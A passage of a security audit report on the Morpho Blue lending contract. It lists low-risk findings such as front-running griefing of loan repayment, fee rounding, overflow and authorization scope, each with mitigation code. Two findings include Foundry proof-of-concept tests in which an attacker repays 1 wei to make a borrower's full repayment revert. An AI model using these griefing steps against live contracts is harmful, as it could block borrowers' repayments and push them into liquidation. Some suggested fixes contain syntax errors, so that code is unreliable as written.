+The described attack scenario exploits the lack of overpayment handling in the repay function. It's crucial for smart contracts, particularly those involved in financial transactions, to include safeguards against such vulnerabilities to ensure their reliability and security.
+
+- Mitigation
+
+```
+`function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) {
+ shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ }
+
+ // @audit Adjust the repayment to avoid underflow
+ if (position[id][onBehalf].borrowShares < shares) {
+ shares = position[id][onBehalf].borrowShares;
+ assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ }
+
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+ emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) {
+ IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+ }
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+}`
+```
+
+mitigation above ensures that amount of borrow shares to deduct is equal to current amount of the user provided amount is larger.
+
+
+
+### My Very First Finding
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L174-L174](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L174-L174)
+
+Woohoo!
+
+
+
+### Setting a new owner does not follow best practices
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+[Affected lines of code](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95-L101)
+
+**Description**:
+Currently, the owner can set another address as the new owner in a single step. It is better to err on the side of caution and use a two-step handover approach where you set a pending owner and the pending owner has to accept the role (even better if it has to be claimed by a certain time).
+
+**Recommendation**:
+You can make reference to OZ's [two step ownership](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable2Step.sol) implementation to implement this two-step ownership.
+
+
+
+### Fee should round up in favour of the protocol
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+[Affected lines of code](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L483-L486)
+
+**Description**: When calculating the `feeAmount` and `feeShares`, it is rounded down instead of rounded up. Rounding up favours the protocol and prevents [the fees from being leaked](https://twitter.com/DevDacian/status/1673523361635532803).
+
+**Recommendation**:
+```markdown
+diff --git a/src/Morpho.sol.orig b/src/Morpho.sol
+index f755904..99d776c 100755
+--- a/src/Morpho.sol.orig
++++ b/src/Morpho.sol
+@@ -480,10 +480,10 @@ contract Morpho is IMorphoStaticTyping {
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+- uint256 feeAmount = interest.wMulDown(market[id].fee);
++ uint256 feeAmount = interest.mulDivUp(market[id].fee, WAD);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+- feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
++ feeShares = feeAmount.toSharesUp(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+```
+
+
+
+
+### Grieving attack by failing user’s transactions on repay
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L266-L266](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L266)
+
+**Description**:
+Grieving attack possible for users attempting to repay their loans. the `repay(..)` function allows for user to repay loans for themselves and on behalf of others by design. The @dev comments confirm that if a repayment is attempted with the wrong amount this will cause an underflow.
+
+- Impact
+
+Malicious users can prevent users, with outstanding loans, repaying in full by front-running the `repay(..)` function call. By calling on behalf of the user and paying a miniscule amount e.g. 1 share, will cause an underflow and prevent the user repaying their loan in full. This can be repeated for the same user and across the protocol for all users repaying their loans.
+
+- POC
+
+The below will explain how it’s possible for a malicious user to cause a debt holder attempting to repay their loan in full to fail, causing an underflow; using a front running exploit.
+
+Adam has borrowed assets and has 250 shares he wants to pay in full, clearing the debt. He calls the `repay(...)` function and this enters the mempool with the following parameters:
+
+```solidity
+function repay(
+ mktPramas,
+ 0, // assets
+ 250, // shares balance used to pay full debt as per dev comments
+ 0x59747457d934EDFC57a0E0Ad3219b729F11156F2. // Adam's address
+ "0x" // empty data
+ )
+```
+
+Eve, who also owns some of the loan tokens and shares, sees Adam’s call to repay his loan in the mempool and front-runs his transaction, repaying on his behalf 1 share, reducing his share balance to 249.
+
+```solidity
+function repay(
+ mktPramas,
+ 0, // assets
+ 1, // shares
+ 0x59747457d934EDFC57a0E0Ad3219b729F11156F2. // Adam's address, "onBehalf"
+ "0x" // empty data
+ )
+```
+
+Now when Adam’s tx is executed, the tx will fail due to the amount of shares provided being incorrect. This will cause an underflow (as expected and commented by the dev in `IMorpho.sol::repay(…)`, preventing Adam from paying his balance as expected. This can be applied to all users across the protocol preventing/delaying them from being able to settle their balances.
+
+**Recommendation**:
+The following `if` condition should be added to the function `repay(…)`:
+```
+function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ if shares > market[id].totalBorrowShares {
+ shares = market[id].totalBorrowShares;
+ } // @audit mitigation: if the share amount provided is more than the actual shares, match it
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+```
+
+
+
+### Morpho.sol will become ERC712 incompatible after network hardfork because of immutable `DOMAIN_SEPARATOR`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In case network on which Morpho Blue is deployed will be hardforked, network will have different `chainId`. `chainId` is used in hash construction of ERC712: `DOMAIN_SEPARATOR`.
+
+Problem is that currently `DOMAIN_SEPARATOR` is [calculated once while deployment and never recalculted afterwards.](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L78)
+As a result, Morpho becomes ERC712 incompatible because it will have previous `DOMAIN_SEPARATOR` with previous `chainId`
+
+**Recommendation**:
+
+Make `DOMAIN_SEPARATOR` mutable in Morpho.sol, like it's implemented in OZ. Cache initial values, and recalculate if they change:
+```solidity
+ function _domainSeparator() internal view returns (bytes32) {
+ if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
+ return _cachedDomainSeparator;
+ } else {
+ return _buildDomainSeparator();
+ }
+ }
+```
+
+
+
+### Intermediate overflow is possible in `mulDivUp()` and `mulDivDown()`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L26-L34
+
+Functions `mulDivUp()` and `mulDivDown()` are used in share/asset calculations. It's acknowledged in IMorpho.sol that calculations can overflow on large values.
+However currently it uses straightforward way of computation:
+```solidity
+ /// @dev Returns (`x` * `y`) / `d` rounded down.
+ function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+ return (x * y) / d;
+ }
+
+ function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+ return (x * y + (d - 1)) / d;
+ }
+```
+Now intermediate result of `x * y` can overflow before dividing by `d`.
+
+**Recommendation**:
+
+Intermediate overflow can be avoided [by using OpenZeppelin's `mulDiv()`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol#L207)
+It uses 512 bit number to store the result of `x * y`. Also it handles round up in other way by `mod d` instead of adding `d - 1` to `x * y` - it also avoids overflow in case `d` is large.
+
+
+
+### Loss of precission in `wTaylorCompounded()` calculation
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L41
+
+If we decompose calculation of `thirdTerm`, we'll get `firstTerm * firstTerm / (2 * WAD) * firstTerm / (3 * WAD)`. It performs division before multiplication when calculates `secondTerm`. However it can be avoided to increase accuracy.
+```solidity
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n; // 0.1e18
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+@> uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+```
+
+**Recommendation**:
+
+Refactor to:
+```diff
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n; // 0.1e18
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+- uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
++ uint256 thirdTerm = mulDivDown(firstTerm * firstTerm, firstTerm, 6 * WAD ** 2);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+```
+
+
+
+### `expectedSupplyAssets()` doesn't work for `feeRecipient`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L92
+
+It is mentioned in warning that function returns incorrect result for `feeRecipient`. However function can be easily refactored to work as expected with `feeRecipient`.
+```solidity
+ /// @notice Returns the expected supply assets balance of `user` on a market after having accrued interest.
+@> /// @dev Warning: Wrong for `feeRecipient` because their supply shares increase is not taken into account.
+ /// @dev Warning: Withdrawing a supply position using the expected assets balance can lead to a revert due to
+ /// conversion roundings between shares and assets.
+ function expectedSupplyAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+ internal
+ view
+ returns (uint256)
+ {
+ ...
+ }
+```
+
+**Recommendation**:
+
+Refactor to:
+```diff
+ function expectedSupplyAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+ internal
+ view
+ returns (uint256)
+ {
+ Id id = marketParams.id();
+ uint256 supplyShares = morpho.supplyShares(id, user);
+ (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = expectedMarketBalances(morpho, marketParams);
+
++ if (user == morpho.feeRecipient()) {
++ uint256 totalSupplySharesBefore = morpho.market(id).totalSupplyShares;
++ supplyShares += totalSupplyShares - totalSupplySharesBefore;
++ }
+ return supplyShares.toAssetsDown(totalSupplyAssets, totalSupplyShares);
+ }
+```
+
+
+
+### Missing zero address check for fee recipient
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+**Description**:
+Missing zero address check for fee recipient. The likelihood is low since the function incorporates an only owner modifier, however, in the event a mistake is made, the fees will be sent to the zero address for each chargeable interaction from a user e.g. when `_accrueInterest(...)` is called as part of the `supply(...)` function.
+
+**Recommendation**:
+Implement a zero address check as part of this function, this will avoid any unexpected losses from fees for user interactions across several functions throughout the protocol. There are a few options available, I recommend using an if statement and the error string from the ErrorsLib contract.
+Another possibility is adding a modifier with the error string to apply to each function where relevant.
+
+```
+ function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ if (newFeeRecipient == address(0)) revert ErrorsLib.ZERO_ADDRESS; // @audit mitigation: zero address check for fee recipient
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+ }
+```
+
+- modifier option:
+```
+ modifier nonZeroAddress(address addr) {
+ require(addr != address(0), ErrorsLib.ZERO_ADDRESS);
+ _;
+ }
+...
+ function setFeeRecipient(address newFeeRecipient) external nonZeroAddress(newFeeRecipient) onlyOwner {
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+ }
+
+
+
+### Authorization per market
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L428-L428](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L428-L428)
+
+**Description**
+
+A user can authorize a certain address to execute various actions on his behalf.
+As Morpho is a permissionless protocol with the possibility to have multiple markets with various collaterals/borrow assets/loan assets, the users will have the possibility to have various positions.
+If a 3rd party would build on-top of Morpho, a user would need to permit that 3rd party to control his positions on all the markets.
+
+This becomes more dangerous if that 3rd party is exploited, allowing the attacker to control all the positions of the users.
+
+**Recommendation**
+Consider implementing logic to allow a user to authorize all the markets or just specific ones for a better authorization management from the user's perspective.
+
+
+
+### Borrowers would be able to open positions too small to be profitable when liquidating
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L232-L232](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L232)
+
+- Summary
+Borrowers would be able to open positions too small for liquidators to find profitable to liquidate. They could also repay the position at less than 100%, leaving only a small fraction of collateral and loan tokens. Over time, these small positions could contribute to a significant percentage of bad debt, thereby reducing the APY generated by other lenders.
+
+- Proof of Concept
+In the [borrow](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L232-L263) function, there are currently no checks preventing users from opening positions with 1 USD worth of loan tokens against 1.3 USD of collateral. Such positions are inherently risky as they may accumulate bad debt. Even if liquidated, the gas cost could exceed the profit, resulting in Morpho incurring additional fees to manage the bad debt. This applies to [repay](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L266-L295) as well, where users might repay only 99% of their debt, leaving some collateral and loan tokens on the table.
+
+It's important to note that users are not necessarily incentivized to do in these things. However, as observed in AAVE, such situations may naturally occur over time.
+
+- Fix
+A recommended solution is to implement a restriction, allowing borrowers to borrow only amounts larger than 10 USD, similar to what GMX does.
+
+
+
+### You can fron-run repaying users and revert their TX
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L266-L266](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L266)
+
+- Summary
+You can front-run a user repaying 100% of their debt with a repay of 1 wei and make their TX revert.
+
+- Proof of concept
+When [repaying](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L266-L295) 100% of the collateral it is possible for someone (probably a liquidator) to front-run the TX with repaying 1 wei and make it so the original one revert. The revert is because we are reducing the shares of 100% collateral, where as there are currently 100% - 1 wei shares of collateral. Of course this causes an underflow as we are trying to remove more balance from the mapping than it has.
+
+```solidity
+position[id][onBehalf].borrowShares -= shares.toUint128();
+```
+
+Potential exploit scenario is:
+ - presume that there is a volatile market
+
+1. A borrower is close to being liquidated, so he tries to pay 100% of his collateral.
+2. Liquidators sees that he can make some money and front-runs this borrower TX with repay of 1 wei.
+3. The TX reverts and the liquidator liquidates the borrower.
+Borrower with the ability to pay 100% of his loan gets liquidated.
+
+Note that in volatile markets or volatile times, a few blocks can be the difference between liquidation and safe repay. On top of that the liquidator can perform this sequence a couple of times, and what the borrower sees is just that his TX fails, not knowing why.
+
+
+- PoC
+Place it in `test/forge/BaseTest` and run it with `forge test --match-test test_crackRepay -vv`
+
+```solidity
+ function test_crackRepay() public {
+ address user1 = address(111);
+ collateralToken.setBalance(user1, 1000e18);
+
+ _supply(1000e18);
+
+ vm.startPrank(user1);
+ loanToken.approve(address(morpho), type(uint256).max);
+ collateralToken.approve(address(morpho), type(uint256).max);
+ morpho.supplyCollateral(marketParams, 1000e18, user1, hex"");
+ morpho.borrow(marketParams, 100e18, 0, user1, user1);
+ vm.stopPrank();
+
+ loanToken.setBalance(address(this), 10000e18);
+ loanToken.approve(address(morpho), type(uint256).max);
+ morpho.repay(marketParams, 0, 1, user1, "");
+
+ vm.prank(user1);
+ vm.expectRevert(stdError.arithmeticError);
+ morpho.repay(marketParams, 100e18, 0, user1, "");
+ }
+```
+
+- Fix
+My suggestion is to implement a mechanism in a way to make that when provided with more loan tokens [repay](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L266-L295) will pick the current owned amount and close the position without reverting.
+
+```diff
+if (assets > 0) {
+- shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
++ uint256 sharesProvided = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
++ shares = UtilsLib.min( position[id][onBehalf].borrowShares, sharesProvided);
+
+}else {
+ assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+}
+```
+
+
+
+
+### Authorization does not work with different markets
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L435-L435](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L435-L435)
+
+- Summary
+Authorization does not work with different markets.
+
+- Proof of concept
+[setAuthorizationWithSig](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L435-L452) currently works with all markets at once, which means that it is impossible for a lender or borrower to authorize someone for a specific market. This will lead to less users authorizing Morpso's systems and other users, as some may want only partial authorization, and not whole one over all of their assets.
+
+One issue that can occur is for a borrower to authorize another user for his position on market A, but the other user to borrow or mess up his position on market B.
+
+- Fix
+Market ID could be added to [setAuthorizationWithSig](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L435-L452) giving the possibility to authorize all markets or a single/multiple ones.
+
+
+
+### Sudden market changes may cause the APY to go negative
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L395-L395](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L395-L395)
+
+- Summary
+Because Morpho reduces bad debt from all lenders, a sudden change in the market can lead to significantly lower, or even negative, APY.
+
+- Proof of Concept
+Currently, every bad debt recorded on the system is [split](https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L394-L396) among all lenders. While this approach may seem reasonable in theory, in practice, it can lead to significantly lower, or even negative, APY. Sudden moments of chain market liquidation in other platforms, such as AAVE and Maker, can oversaturate the pools, causing prices to plummet. This, combined with high ETH throughput (due to constant liquidations), can block liquidators from acting in a timely manner. Such sudden events can result in lenders losing months of generated APY. Although these events are rare, over time, they are likely to occur and can inflict substantial damage on markets using collateral tokens.
+
+It is essential to note that even under normal conditions, in some more volatile markets, liquidators may inadvertently leave bad debt due to system downtimes or delayed response times.
+
+
+- Fix
+Given the complexity of the protocol, proposing an optimal solution is challenging.
+
+
+
+
+
+
+### Liquidator has no incentive to liquidate positions with low debt due to gas costs
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Currently liquidator repays position's debt with discount of 15% at most, and receives proportional amount of collateral. CDP protocol also needs another incentive for liquidators to perform liquidations of positions with low debt due to gas costs of liquidation. If 15% discount (i.e. revenue of liquidator) is less than gas cost of liquidation - liquidation won't occur.
+
+Liquidation should be performed as soon as possible to keep system healthy, however this design flaw introduces potential for bad debt arising via many positions with low debt. Because nobody incentivised to liquidate them
+
+
+**Recommendation**:
+
+Develop incentive system for liquidators to perform liquidations of positions with low debt, something like fix bonus for full liquidation. For example eBTC has gas stipend of 0.2 stETH, Liquity has gas stipend of 200 LUSD.
+
+
+
+### An attacker can grief users from repaying their loan
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L266-L266](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266-L266)
+
+- An attacker can grief users from repaying their loan
+
+- Overview
+
+Attackers can disrupt loan repayment processes by griefing users in Morpho.sol. Specifically, they can frontrun borrowers, repaying only 1 wei on their behalf, causing tx to revert. This issue is exacerbated if the Morpho contract has critical vulnerabilities, enabling attackers to drain funds and complicate withdrawal attempts by borrowers.
+
+- Impact
+
+Griefers can indefinitely hinder users from repaying loans, which result in disruption for borrowers and potentially freeze their funds.
+
+- Proof of Concept
+
+- Vulnerability Details
+
+- Morpho protocol, designed to be permissionless ( <-- ++ ), inadvertently exposes the Morpho contract to griefing attacks.
+- The vulnerability arises from the ability of anyone to repay on behalf of borrowers without proper authorization.
+- An attacker can front-run a borrower transaction, repaying a mere 1 wei of their loan, causing the borrower transaction to revert due to underflow.
+
+```solidity
+position[id][onBehalf].borrowShares -= shares.toUint128();
+```
+
+> [!NOTE]
+> Repeating this on every borrower only causes a revert if they were withdrawing all collateral, forcing partial repay incurring more gas fees.
+
+- Here is a coded PoC to demonstrate the issue:
+
+```solidity
+ function testGriefBorrow() public {
+ uint256 amountCollateral = 100 ether;
+ uint256 amountShares = 50e6;
+
+ _supply(amountCollateral);
+
+ oracle.setPrice(1 ether);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+
+ collateralToken.approve(address(morpho), amountCollateral);
+
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ morpho.borrow(marketParams, 0, amountShares, BORROWER, BORROWER);
+
+ vm.stopPrank();
+
+ // After 1 day, borrower decided to repay the loan
+
+ vm.warp(block.timestamp + 1 days);
+
+ address GRIEFER = makeAddr("GRIEFER");
+
+ loanToken.setBalance(GRIEFER, 1 wei);
+
+ vm.startPrank(GRIEFER);
+ loanToken.approve(address(morpho), 1 wei);
+
+ // Attacker will frontrun borrower tx and pay 1 wei
+ // This attack can be repeated indefinitely
+
+ console.log("(Borrower shares before) =", morpho.position(marketParams.id(), BORROWER).borrowShares);
+
+ morpho.repay(marketParams, 1 wei, 0, BORROWER, hex"");
+
+ console.log("(Borrower shares after) =", morpho.position(marketParams.id(), BORROWER).borrowShares);
+
+ vm.stopPrank();
+
+ vm.prank(BORROWER);
+ vm.expectRevert();// "Arithmetic over/underflow"
+ morpho.repay(marketParams, 0, amountShares, BORROWER, hex"");
+ }
+```
+
+- Logs result:
+
+```yaml
+ (Borrower shares before) : 50000000
+ (Borrower shares after) : 49000000
+```
+
+- Test Setup:
+
+- Incorporate the tests in [**`MorphoInvariantTest`**](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/test/forge/invariant/MorphoInvariantTest.sol)
+- Execute: **`forge test --mc MorphoInvariantTest --mt testGriefBorrow -vvv`**
+
+> [!CAUTION]
+> This attack impacts the bundler contract as well, as demonstrated in this [PoC](https://gist.github.com/0xbtk/887cd6f83cdd4be924934d570ec7a557).
+
+- Tools Used
+
+Manual review
+
+- Recommended Mitigation Steps
+
+Allow only authorized users to repay on behalf of borrowers to prevent such attacks.
+
+
+
+### Implicit Type Conversion in _accrueInterest Function, Potential Impact on Downstream Calculations
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Severity**
+
+Low
+
+**Relevant GitHub Links**
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L472
+
+**Summary**
+
+The code contains an implicit type conversion issue where the subtraction of `block.timestamp` (type `uint256`) and `market[id].lastUpdate` (explicitly cast to `uint128`) results in an implicit conversion to `uint256`, potentially leading to downstream calculations with unintended behavior or loss of precision.
+
+**Vulnerability Details**
+
+Implicit type conversion issue in the elapsed time calculation may lead to unintended behavior or loss of precision in downstream calculations
+
+**Impact**
+
+Potential loss of precision or unintended behavior in downstream calculations due to implicit type conversion in elapsed time calculation
+
+**Tools used**
+
+- Manual review
+
+**Recommendations**
+
+Explicitly cast `market[id].lastUpdate` to uint256 to ensure consistency in types
+
+```solidity
+uint256 elapsed = block.timestamp - uint256(market[id].lastUpdate);
+```
+
+This modification ensures that both `block.timestamp` and `market[id].lastUpdate` are of the same data `type (uint256)`.
+
+
+
+### Front running issue from authorized users
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L428-L428](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L428-L428)
+
+When authorized users see a call to unset their authority via `setAuthorization` function, they can front-run this call and call `withdraw ()` to steal tokens.
+
+
+
+### Borrower can have privileged position with dust orders
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Likelihood**: Medium, since this attack can be done under any scenario, but more likely with low gas fees, with a simple to medium execution estructure.
+
+**Impact**: Medium, since this attack lowers the liquidity of the protocol, which leads to higher rates for borrowers and liquidation privileges for certain borrowers.
+
+- Introduction
+
+There are 2 types of bad debts in a lending protocol:
+ · Under-collaterized positions:
+
+
+> If the collateral value falls below the value of the debt, then either the borrower or the lending platform will suffer a loss if the corresponding position is closed.
+
+ · Excesive transaction fees:
+
+> If the value of the excess asset cannot cover the transaction fee, then there is no incentive for the borrower or liquidator to repay and close this position.
+
+- Summary
+
+A liquidator is only incentivized to act when the liquidation turns out to be positive, if the transaction gas fees, summed to the repaying cost after the LIF is applied, are greater than the collateral you get to own, the liquidation won't happen since there is no incentive.
+
+G + R > C
+
+Where:
+· G = Transaction gas fees, calling `liquidate()`.
+· R = Repaying cost after LIF.
+· C = Collateral value.
+
+- Vulnerability details
+
+In Morpho there is no minimum size requirement to borrow a loan. This means anyone can take advantage of low fees scenarios to borrow multiple loans in multiple markets with an unique execution of an EOA which controls various smart contracts.
+
+Let's define:
+
+P = Potential Profit from the attack.
+O = Fixed cost of attack operation, involves deployment of multiple smart contracts to have different addresses with which borrow loans, transfer of collateral tokens and `supplyCollateral` (only done once).
+G = Transaction gas fees for borrowing.
+C = Collateral value.
+L = Potential loss to the lending platform or other users due to the attack.
+The attacker's economic incentive can be expressed as:
+
+P = L − (O + G) + ΔC
+
+Where:
+
+P>0 implies the attack is economically incentivized.
+L includes the gains from under-collateralized positions and other exploitative strategies.
+O+G represents the total cost of executing the attack, including operational setup and gas fees for transactions like borrowing.
+ΔC is the variation of the collateral value
+
+Here there's a table of the gast cost of the most important functions in `Morpho.sol` contract:
+
+Function Name | min | avg | median | max | - calls
+------------------------------|-----------------|------------|---------------|------------|-------------
+liquidate | 2120 | 29143 | 36113 | 55988 | 10
+liquidate (w/ badDebt) | 3373 | 42320 | 51491 | 64763 | 10
+repay | 3530 | 13869 | 8195 | 51756 | 10
+borrow | 1965 | 27317 | 36411 | 40793 | 50
+supply | 3945 | 74127 | 82903 | 85403 | 61
+supplyCollateral | 3496 | 45210 | 46354 | 132744 | 54
+withdraw | 1786 | 12641 | 4358 | 33967 | 10
+withdrawCollateral | 1890 | 13801 | 5223 | 34243 | 8
+
+_Run with forge test --gas-report_
+
+As you can see the `liquidate()` function is slightly more expensive than borrowing, and a 20-30% more expensive if it leaves bad debt due to the [additional `sloads` inside the `if` statement](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L387).
+
+This means that the borrower comes with advantage since its gas fees are lower.
+
+- Impact
+
+Due to the increase on transaction fees induced bad debts, the attack lowers the liquidity of the protocol, which leads to higher rates for borrowers and liquidation privileges for certain borrowers.
+
+- Recommendation
+
+``` diff
+function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+
+- uint256 collateralPrice = IOracle(marketParams.oracle).price();
++ (uint256 collateralPriceAgainstLoanToken, uint256 collateralPriceAgainstUsd) = IOracle(marketParams.oracle).price();
+
++ uint256 borrowedAssets = position[id][borrower].borrowShares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
++ if (collateralPriceAgainstUsd * borrowedAssets < HARDCODED_MIN_PRICE_IN_USD)
+
+- return _isHealthy(marketParams, id, borrower, collateralPrice);
++ return _isHealthy(marketParams, id, borrower, collateralPriceAgainstLoanToken);
+ }
+```
+
+
+
+### setAuthorizationWithSig() becomes non functional incase of hardfork and the chainId is updated
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L49-L49](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L49-L49)
+
+The issue of `DOMAIN_SEPARATOR` being `immutable` has been previously reported in the older audit.
+
+However, consider a scenario where a hard fork occurs on the Mainnet and the chain splits. Due to consensus, users start treating the new chain as the main chain which has a new `chainID`. Since the calculation of `DOMAIN_SEPARATOR` is pre-calculated, all calls to `setAuthorizationWithSig()` will fail in this scenario. Consequently, the `setAuthorizationWithSig()` function becomes non-functional.
+
+The impact of this issue is that users will be unable to leverage or use the gas-less transaction feature to authorize an address.
+
+A quick solution to address this issue would be to dynamically calculate the `DOMAIN_SEPARATOR` on each call of `setAuthorizationWithSig()`.
+
+
+
+### Missing Helper Function for Liquidators to get the borrowers health factor
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L502-L502](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L502-L502)
+
+The `_isHealthy()` function in the smart contract is currently declared as an `internal` function. While this ensures internal use, it poses a challenge for liquidators who may need to check the health factor of a borrower's position before deciding to liquidate. This design choice leads to poor user experience (UX) for potential liquidators who are required to write a custom function mimicing the logic of `_isHealthy` for external use.
+
+**User Experience Implications:**
+
+**_Inconvenience for Liquidators:_**
